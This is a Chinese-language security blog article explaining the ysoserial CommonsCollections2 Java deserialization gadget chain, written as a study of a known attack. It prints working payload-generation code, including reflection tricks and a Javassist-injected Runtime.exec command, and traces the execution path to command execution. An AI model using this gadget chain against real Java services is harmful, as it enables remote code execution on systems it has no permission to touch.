freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

ysoserial代码分析-CommonsCollections2
2022-02-27 15:42:10
所属地 天津

1.前言

本片文章为学习ysoserial代码系列的第二篇,分析的攻击链为CommonsCollections2,源码是以github上最新版ysoserial代码为例下载地址,具体运行环境为jdk 1.8+ 和 maven 3.x.+为主。

以下是CommonsCollections2的源码,依赖的库为org.apache.commons:commons-collections4:4.0:

@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

	@Override
    public Queue<Object> getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
		// stub data for replacement later
		queue.add(1);
		queue.add(1);

		// switch method called by comparator
		Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = 1;

		return queue;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections2.class, args);
	}

}

2.基础知识

TemplatesImpl#TransletClassLoader类:TransletClassLoader做为TemplatesImpl的内部类扩展了ClassLoader类,ClassLoader类的主要作用是加载class文件进入jvm中,执行过程实际加载的方式为调用defineClass方法加载类字节码。

TransletClassLoader类的defineClass方法的访问权限设置为默认,可以直接调用ClassLoader类的defineClass方法进行类字节码加载。

1645933260_621af2cc382008693c1d1.png!small?1645933265868

1645933269_621af2d51df3e2a4a7723.png!small?1645933274741

TemplatesImpl类:变量_bytecodes用于存放含有恶意代码的类字节码 ,为调用defineClass方法传入的实际参数。

1645938346_621b06aa6204cd896793b.png!small?1645938351565

下图是TemplatesImpl类攻击链调用的流程。

1645947209_621b2949253bb01802943.png!small?1645947215059

TransformingComparator类:继承了Comparator和Serializable接口。

1645928527_621ae04f63b4ebfa37b36.png!small?1645928532420

调用构造方法生成对象时会传入一个Transformer类型对象,和CommonsCollections1一样通过Transformer的transform方法去执行命令。

1645928641_621ae0c11ee97096ff284.png!small?1645928646093

通过compare方法调用Transformer的transform方法。

1645932307_621aef13a88e88f6a346d.png!small?1645932313358

PriorityQueue类:是jdk提供的一个队列实现类,在调用构造方法时会传入一个实现了Comparator接口的对象,为coparator变量赋值。

1645938793_621b086931a84cc7f08e1.png!small?1645938798378

1645947342_621b29ce1f16eeff5c4e0.png!small?1645947348013

在PriorityQueue类的readObject方法中看到执行到最后会调用heapify方法。

1645938852_621b08a450f0d611af8fb.png!small?1645938857529

进入heapify方法中调用了siftDown方法。

1645938914_621b08e2dca38aa853e28.png!small?1645938920066

在siftDown方法中进入siftDownUsingComparator方法。

1645939049_621b0969d9c1ef564c37e.png!small?1645939055110

在siftDownUsingComparator方法中看到执行了comparator变量的compare方法,此时comparator变量就是构造好含有恶意代码的TransformingComparator对象。

1645939081_621b0989d4c471d31eb68.png!small?1645939087085

Javaassist:Javaassist就是一个用来 处理 Java 字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以去生成一个新的类对象,通过完全手动的方式。

在CommonsCollections2中使用了Javaassist库来修改和生成类的字节码,具体的使用方法可以查询网络上的文章,这里就不做具体介绍了。

3.代码分析

开始分析CommonsCollections2中payload生成的过程,在getObject方法开始就调用了createTemplatesImpl方法生成了一个TemplatesImpl对象。

1645943241_621b19c93c05e46ca2183.png!small?1645943246999

在createTemplatesImpl方法中首先生成一个TemplatesImpl对象,然后使用Javaassist库来获取Gadgets#StubTransletPayload内部类,调用makeClassInitializer方法在代码中生成一个空的类静态初始块,并将需要执行的命令插入其中,之后将StubTransletPayload类的类字节码用反射的方式赋值到TemplatesImpl对象中的_bytecodes变量,最后返回TemplatesImpl对象。

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
            command.replace("\\", "\\\\").replace("\"", "\\\"") +
            "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

生成InvokerTransformer对象使用其初始化一个PriorityQueue对象,队列大小为2,随意插入两个值。

1645944666_621b1f5a88b5ec8f08a60.png!small?1645944672326

使用反射的方式将InvokerTransformer对象的iMethodName变量修改为newTransformer,之后还是使用反射的方式将PriorityQueue对象内部数组的第一个位置赋值为代码开始时生成的TemplatesImpl对象,返回生成好的PriorityQueue对象。

1645944823_621b1ff77f7f6598c27d5.png!small?1645944829330

4.调试运行

使用CommonsCollections2提供的测试代码,在Runtime的exec方法处下断点。

1645945059_621b20e30a09aff90d181.png!small?1645945064847

调试开始后可以看到程序的调用栈。

1645945105_621b2111b47b5c1953142.png!small?1645945111733

在PriorityQueue类的readObject方法中调用heapify方法。

1645945220_621b21849b2093d9d3894.png!small?1645945226439

heapify方法中调用siftDown方法。

1645945279_621b21bfa818094d0a37d.png!small?1645945285505

siftDown方法中进入siftDownUsingComparator方法。

1645945312_621b21e019a2deadb73b7.png!small?1645945317908

在siftDownUsingComparator方法调用了comparator.compare方法。

1645945351_621b220715212f151329a.png!small?1645945356892

在compare方法中可以看到执行了transformer.transform方法,传入的参数就是之前生成的含有恶意代码的TemplatesImpl对象。

1645945397_621b22359a7473dd6191e.png!small?1645945403435

transform中会对TemplatesImpl对象调用newTransformer方法,之后的执行流程在TemplatesImpl类中已经介绍。

1645945599_621b22ff634cca474e72c.png!small?1645945605232

至此命令执行成功。

1645945729_621b23810defd82d68b1f.png!small?1645945734947


# web安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录